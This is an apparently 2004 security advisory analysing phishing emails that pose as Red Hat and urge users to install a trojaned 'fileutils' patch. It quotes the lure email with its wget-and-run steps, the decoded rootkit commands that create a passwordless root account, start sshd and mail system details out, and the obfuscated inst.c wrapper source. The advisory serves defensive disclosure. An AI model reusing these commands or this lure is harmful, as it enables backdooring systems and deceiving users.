|
» English Version
URL
https://k-otik.com/news/FakeRedhatPatchAnalysis.txt
Release Date
October 25, 2004
Synopsis
Emails pretending to come from the Red Hat Security Team are circulating in the wild. These emails tell users to download and install malicious updates. These trojaned updates contain malicious code designed to compromise the systems they are run on.
The Fake Email
Dear RedHat user,
Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT ed. The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:
* First download the patch from the Security RedHat mirror:
wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
* Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
* cd fileutils-1.0.6.patch
* make
* ./inst
Again, please apply this patch as soon as possible or you risk your system and others` to be compromised.
Thank you for your prompt attention to this serious matter,
RedHat Security Team.
The Execution
tar zxvf fileutils-1.0.6.patch.tar.gz
* fileutils-patch.bin
* inst.c (the malicious payload)
* Makefile
This rootkit does the following
* Create the user "bash" without a password
* Grab the IP address and the uptime
* Start SSHd
* Mail this informations to
Logs
The trojaned C code was generated and encoded by shc, running this code does the following :
echo "Inca un root frate belea: " >> /tmp/mama
adduser -g 0 -u 0 -o bash >> /tmp/mama
passwd -d bash >> /tmp/mama
ifconfig >> /tmp/mama
uname -a >> /tmp/mama
uptime >> /tmp/mama
sshd >> /tmp/mama
echo "user bash stii tu" >> /tmp/mama
cat /tmp/mama | mail -s "Inca o roata" >> /dev/null
rm -rf /tmp/mama
The code - inst.c
#if 0
shc Version 3.7, Generic Script Compiler
shc -v -r -T -f redhat
#endif
static long date = 0;
static char mail[] = "Please contact your provider";
static int relax = 1;
typedef char pswd_t[433];
static char pswd[] =
"\112\326\126\023\345\101\227\242\127\260\241\033\143\344\132\161"
"\071\320\301\103\056\023\044\053\136\365\273\307\014\033\346\213"
"\012\176\145\076\305\057\222\140\013\163\022\014\266\152\133\056"
"\055\055\117\325\077\140\120\025\356\256\310\170\017\153\162\107"
"\225\266\313\200\345\263\017\174\224\255\001\005\012\151\271\322"
"\356\260\322\136\126\347\347\026\162\253\362\224\350\150\071\147"
"\347\202\366\114\104\134\277\102\343\302\275\107\144\271\053\002"
"\337\045\271\361\045\310\070\327\241\313\227\271\163\003\046\026"
"\232\241\345\152\151\375\036\365\323\246\050\227\325\140\023\126"
"\020\363\136\323\032\333\176\021\016\325\274\114\304\144\171\232"
"\356\176\170\257\340\133\311\172\132\363\307\323\312\221\237\373"
"\000\204\246\324\174\215\166\237\276\376\044\320\373\345\034\107"
"\355\013\234\346\316\133\072\157\104\317\250\006\063\232\321\355"
"\121\202\217\343\207\370\115\072\150\310\231\213\151\155\133\166"
"\237\207\324\236\014\107\335\271\306\022\022\257\061\133\062\355"
"\213\173\122\100\272\266\257\332\355\302\117\062\074\063\275\145"
"\073\056\143\151\031\303\210\151\331\353\262\246\336\143\257\210"
"\060\321\040\143\142\001\363\261\302\164\052\125\375\160\115\252"
"\354\264\302\050\360\266\132\047\365\053\101\027\051\052\165\223"
"\371\316\001\011\027\314\255\273\123\373\356\330\035\074\212\313"
"\343\225\026\114\201\154\250\212\064\140\023\114\074\226\306\021"
"\236\244\330\037\001\222\135\211\045\047\357\177\000\045\024\366"
"\250\215\335\116\171\170\026\335\273\106\037\225\366\104\103\162"
"\045\032\371\270\031\067\212\016\113\213\355\103\010\063\164\323"
"\354\115\214\262\241\111\230\102\106\172\327\260\047\301\146\261"
"\016\241\274\062\024\143\121\117\047\337\141\321\311\000\114\134"
"\132\053\236\061\232\035\250\154\016\165\060\141\202\212\047\175"
"\352\366\271\064\335\347\045\356\276\220\027";
typedef char shll_t[8];
static char shll[] =
"\027\227\104\215\344\060\226\051\353\036\220\073\114\040\167\126"
"\012\043\340\355";
typedef char inlo_t[3];
static char inlo[] =
"\036\173\055\223\266\275\074\222\066\027";
typedef char xecc_t[15];
static char xecc[] =
"\136\317\002\017\371\053\007\345\165\066\036\162\266\047\013\261"
"\363\204";
typedef char lsto_t[1];
static char lsto[] =
"\347\047\233\033\245\043\257\234\252\240\037\262";
#define TEXT_chk1 "KTZE4lIVf7i4BR"
typedef char chk1_t[15];
static char chk1[] =
"\176\150\322\244\275\145\026\000\230\311\274\166\150\124\334\163"
"\053\372\006\215";
typedef char opts_t[1];
static char opts[] =
"\331\051\317\253\133\114\076\242\237\252\144\142";
typedef char text_t[1199];
static char text[] =
"\302\214\330\267\274\114\354\115\323\353\153\135\350\215\100\341"
"\364\315\074\102\276\122\042\345\157\237\003\103\246\341\370\334"
"\354\221\335\166\270\142\306\045\355\173\260\100\343\073\063\146"
"\272\171\102\300\274\105\250\172\206\216\255\220\343\272\014\043"
"\005\057\144\113\057\373\202\222\234\002\306\356\312\144\300\000"
"\075\031\301\120\303\072\027\226\275\353\247\316\314\216\216\020"
"\336\171\201\144\221\147\005\234\000\315\131\366\044\361\370\107"
"\035\047\377\306\162\105\371\365\173\116\116\060\247\262\374\207"
"\101\025\340\324\170\363\223\213\105\102\130\167\143\272\341\202"
"\300\054\002\347\171\075\302\156\267\174\071\103\174\172\140\326"
"\372\101\071\103\227\326\005\236\151\002\050\343\003\265\311\102"
"\132\333\320\366\323\322\112\326\055\242\073\334\171\357\115\343"
"\305\111\031\130\153\027\033\266\125\246\265\264\246\042\106\253"
"\241\042\333\261\145\205\337\167\175\217\160\026\023\364\077\374"
"\327\354\217\270\343\140\123\326\162\002\041\266\120\212\154\253"
"\207\157\222\144\144\055\221\302\367\037\256\357\147\166\223\266"
"\004\075\221\132\351\347\215\034\017\170\314\341\206\171\374\205"
"\344\050\170\353\072\001\247\044\372\304\047\231\006\153\352\135"
"\135\006\034\223\012\133\132\074\140\211\130\106\072\272\311\132"
"\131\271\012\062\277\262\332\334\026\205\133\227\373\036\063\031"
"\121\244\027\357\024\032\143\366\065\102\001\057\202\206\271\331"
"\203\020\230\064\330\026\117\160\331\361\372\151\163\076\126\260"
"\125\373\333\052\123\170\022\031\121\060\203\314\367\161\266\056"
"\227\172\244\065\372\022\275\255\377\277\247\061\077\020\142\307"
"\012\157\131\327\024\130\161\213\027\302\105\004\240\264\213\307"
"\151\025\001\164\055\350\106\056\252\133\205\116\254\047\325\174"
"\347\141\017\276\166\241\356\154\213\015\135\206\321\315\004\346"
"\205\331\254\167\107\003\331\125\121\065\175\051\016\333\340\370"
"\306\201\166\103\315\366\226\141\307\221\101\372\027\352\362\146"
"\234\022\222\101\345\343\055\364\160\161\346\025\171\040\064\176"
"\131\317\325\376\015\175\027\152\315\321\274\152\330\121\300\342"
"\120\357\357\267\175\064\335\307\074\177\121\142\175\352\173\110"
"\053\021\116\172\363\124\143\226\051\360\132\035\160\256\252\140"
"\134\216\100\024\226\264\167\125\214\051\146\144\163\240\167\260"
"\350\142\173\155\354\156\302\162\202\227\366\312\271\352\063\273"
"\370\077\174\235\110\302\151\362\116\203\330\033\343\264\071\345"
"\013\265\244\241\355\351\145\377\255\154\032\070\025\176\374\313"
"\374\310\130\057\271\132\311\246\024\323\057\172\363\316\225\302"
"\216\230\217\103\217\354\324\144\133\201\254\337\170\260\310\251"
"\154\122\123\050\044\107\216\160\306\105\022\370\055\043\211\241"
"\363\356\162\172\015\246\210\266\131\237\065\205\263\037\217\270"
"\153\246\032\255\271\217\301\232\353\056\255\235\154\047\353\167"
"\066\362\333\066\153\174\214\352\367\223\077\322\343\234\354\252"
"\102\372\071\126\374\137\165\060\047\140\032\040\267\044\053\100"
"\342\152\227\160\306\054\025\325\133\074\166\246\014\146\000\001"
"\221\073\055\061\267\146\150\076\132\364\101\146\113\336\305\377"
"\133\357\233\324\346\032\052\310\322\156\245\165\340\021\303\153"
"\060\053\153\137\234\226\023\132\134\024\156\121\053\221\125\227"
"\205\241\304\002\231\303\322\271\142\111\275\222\073\346\073\320"
"\055\267\026\333\267\136\253\352\346\060\034\076\045\032\374\222"
"\375\352\237\203\315\014\351\123\306\331\175\254\370\130\036\343"
"\071\336\273\221\165\260\053\250\003\331\046\317\121\176\053\342"
"\106\323\106\316\117\362\206\346\212\322\165\356\133\145\026\377"
"\263\263\307\255\216\137\352\251\122\241\156\121\033\074\365\256"
"\315\335\231\137\040\030\201\302\104\017\005\012\233\217\266\377"
"\043\113\203\055\064\121\234\266\222\210\254\011\303\113\350\341"
"\200\307\352\130\040\310\142\107\315\141\005\225\061\010\162\373"
"\013\344\220\122\205\224\016\311\220\240\343\260\226\130\215\160"
"\241\120\117\321\147\324\147\317\207\136\117\033\002\206\347\340"
"\122\117\157\274\060\022\071\250\140\130\307\201\317\100\146\256"
"\126\135\302\253\250\022\250\274\221\051\172\270\265\156\003\107"
"\035\337\153\160\126\335\263\217\143\233\000\214\345\246\354\303"
"\050\040\361\331\060\020\354\007\322\047\104\124\030\303\156\035"
"\250\222\242\001\236\104\061\246\132\272\224\365\003\065\165\363"
"\210\042\362\123\222\274\124\343\024\124\153\056\023\110\031\340"
"\023\035\214\057\143\276\374\211\270\156\057\304\015\311\317\032"
"\073\156\151\170\006\272\265\134\040\125\204\000\002\033\273\074"
"\053\007\211\131\205\300\212\136\275\134\233\226\210\161\101\107"
"\215\253\220\174\242\323\025\007\246\267\046\371\245\326\265\221"
"\157\130\027\103\017\320\077\027\361\317\135\156\125\042\067\154"
"\271\336\152\162\102\224\240\307\316\174\111\174\104\312\111\075"
"\065\215\320\004\073\353\151\154\077\365\131\050\216\003\233\027"
"\045\323\162\175\043\212\121\114\315\363\026\214\053\232\345\315"
"\011\202\002\306\307\240\054\103\225\063\302\230\332\047\177\225"
"\211\056\354\376\215\332\206\337\124\375\135\207\033\344\130\233"
"\331\051\202\216\147";
#define TEXT_chk2 "O0AFdy47Rzu8"
typedef char chk2_t[13];
static char chk2[] =
"\162\047\213\323\345\143\301\204\175\267\026\301\110\344\301\113"
"\026\111\043\027\120\103\262\203\176\107\337";
typedef char hide_t[4096];
#define DEBUGEXEC 0 /* Define as 1 to debug execvp calls */
#define TRACEABLE 1 /* Define as 1 to enable ptrace the executable */
/* rtc.c */
#include
#include
#include
#include
#include
#include
#include
#include
/**
* 'Alleged RC4' Source Code picked up from the news.
* From: (John L. Allen)
* Newsgroups: comp.lang.c
* Subject: Shrink this C code for fame and fun
* Date: 21 May 1996 10:49:37 -0400
*/
static unsigned char state[256], indx, jndx;
/*
* Reset rc4 state.
*/
void state_0(void)
{
indx = jndx = 0;
do {
state[indx] = indx;
} while (++indx);
}
/*
* Set key. Can be used more than once.
*/
void key(char * str, int len)
{
unsigned char tmp, * ptr = (unsigned char *)str;
while (len > 0) {
do {
tmp = state[indx];
jndx += tmp;
jndx += ptr[(int)indx % len];
state[indx] = state[jndx];
state[jndx] = tmp;
} while (++indx);
ptr += 256;
len -= 256;
}
}
/*
* Crypt data.
*/
void rc4(char * str, int len)
{
unsigned char tmp, * ptr = (unsigned char *)str;
jndx = 0;
while (len > 0) {
indx++;
tmp = state[indx];
jndx += tmp;
state[indx] = state[jndx];
state[jndx] = tmp;
tmp += state[indx];
*ptr ^= state[tmp];
ptr++;
len--;
}
}
/*
* Key with file invariants.
*/
int key_with_file(char * file)
{
struct stat statf[1];
struct stat control[1];
if (stat(file, statf)
return -1;
/* Turn on stable fields */
memset(control, 0, sizeof(control));
control->st_ino = statf->st_ino;
control->st_dev = statf->st_dev;
control->st_rdev = statf->st_rdev;
control->st_uid = statf->st_uid;
control->st_gid = statf->st_gid;
control->st_size = statf->st_size;
control->st_mtime = statf->st_mtime;
control->st_ctime = statf->st_ctime;
key((char *)control, sizeof(control));
return 0;
}
#if DEBUGEXEC
void debugexec(char * shll, int argc, char ** argv)
{
int i;
fprintf(stderr, "shll=%s\n", shll ? shll : "");
fprintf(stderr, "argc=%d\n", argc);
if (!argv) {
fprintf(stderr, "argv=\n");
} else {
for (i = 0; i
fprintf(stderr, "argv[%d]=%.60s\n", i, argv[i] ? argv[i] : "");
}
}
#endif /* DEBUGEXEC */
void rmarg(char ** argv, char * arg)
{
for (; argv && *argv && *argv != arg; argv++);
for (; argv && *argv; argv++)
*argv = argv[1];
}
int chkenv(int argc)
{
char buff[512];
unsigned mask, m;
int l, a, c;
char * string;
extern char ** environ;
mask = (unsigned)chkenv;
mask ^= (unsigned)getpid() * ~mask;
sprintf(buff, "x%x", mask);
string = getenv(buff);
#if DEBUGEXEC
fprintf(stderr, "getenv(%s)=%s\n", buff, string ? string : "");
#endif
l = strlen(buff);
if (!string) {
/* 1st */
sprintf(&buff[l], "=%u %d", mask, argc);
putenv(strdup(buff));
return 0;
}
c = sscanf(string, "%u %d%c", &m, &a, buff);
if (c == 2 && m == mask) {
/* 3rd */
rmarg(environ, &string[-l - 1]);
return 1 + (argc - a);
}
return -1;
}
#if !TRACEABLE
#define _LINUX_SOURCE_COMPAT
#include
#include
#include
#include
#include
#include
#include
void untraceable(char * argv0)
{
char proc[80];
int pid, mine;
switch(pid = vfork()) {
case 0:
pid = getppid();
/* For problematic SunOS ptrace */
sprintf(proc, "/proc/%d/as", (int)pid);
close(0);
mine = !open(proc, O_RDWR|O_EXCL);
if (!mine && errno != EBUSY)
mine = !ptrace(PTRACE_ATTACH, pid, 0, 0);
if (mine) {
kill(pid, SIGCONT);
} else {
fprintf(stderr, "%s is being traced!\n", argv0);
kill(pid, SIGKILL);
}
_exit(mine);
case -1:
break;
default:
if (pid == waitpid(pid, 0, 0))
return;
}
perror(argv0);
_exit(1);
}
#endif /* !TRACEABLE */
char * xsh(int argc, char ** argv)
{
char buff[512];
char * scrpt;
int ret, i, j;
char ** varg;
state_0();
key(pswd, sizeof(pswd_t));
rc4(shll, sizeof(shll_t));
rc4(inlo, sizeof(inlo_t));
rc4(xecc, sizeof(xecc_t));
rc4(lsto, sizeof(lsto_t));
rc4(chk1, sizeof(chk1_t));
if (strcmp(TEXT_chk1, chk1))
return "location has changed!";
ret = chkenv(argc);
if (ret
return "abnormal behavior!";
varg = (char **)calloc(argc + 10, sizeof(char *));
if (!varg)
return 0;
if (ret) {
if (!relax && key_with_file(shll))
return shll;
rc4(opts, sizeof(opts_t));
rc4(text, sizeof(text_t));
rc4(chk2, sizeof(chk2_t));
if (strcmp(TEXT_chk2, chk2))
return "shell has changed!";
if (sizeof(text_t)
/* Prepend spaces til a sizeof(hide_t) script size. */
scrpt = malloc(sizeof(hide_t));
if (!scrpt)
return 0;
memset(scrpt, (int) ' ', sizeof(hide_t));
memcpy(&scrpt[sizeof(hide_t) - sizeof(text_t)], text, sizeof(text_t));
} else {
scrpt = text; /* Script text */
}
} else { /* Reexecute */
if (*xecc) {
sprintf(buff, xecc, argv[0]);
scrpt = buff;
} else {
scrpt = argv[0];
}
}
j = 0;
varg[j++] = argv[0]; /* My own name at execution */
if (ret && *opts)
varg[j++] = opts; /* Options on 1st line of code */
if (*inlo)
varg[j++] = inlo; /* Option introducing inline code */
varg[j++] = scrpt; /* The script itself */
if (*lsto)
varg[j++] = lsto; /* Option meaning last option */
i = (ret > 1) ? ret : 0; /* Args numbering correction */
while (i
varg[j++] = argv[i++]; /* Main run-time arguments */
varg[j] = 0; /* NULL terminated array */
#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;
}
int main(int argc, char ** argv)
{
#if DEBUGEXEC
debugexec("main", argc, argv);
#endif
#if !TRACEABLE
untraceable(argv[0]);
#endif
if (date && (date
fprintf(stderr, "%s has expired!\n", argv[0]);
fprintf(stderr, "%s\n", mail);
} else {
argv[1] = xsh(argc, argv);
fprintf(stderr, "%s%s%s: %s\n", argv[0],
errno ? ": " : "",
errno ? strerror(errno) : "",
argv[1] ? argv[1] : ""
);
}
return 1;
}
Disclaimer
The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties implied or otherwise with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Feedback
Updates and/or comments to:
K-OTik Security Corporation
https://k-otik.com
|
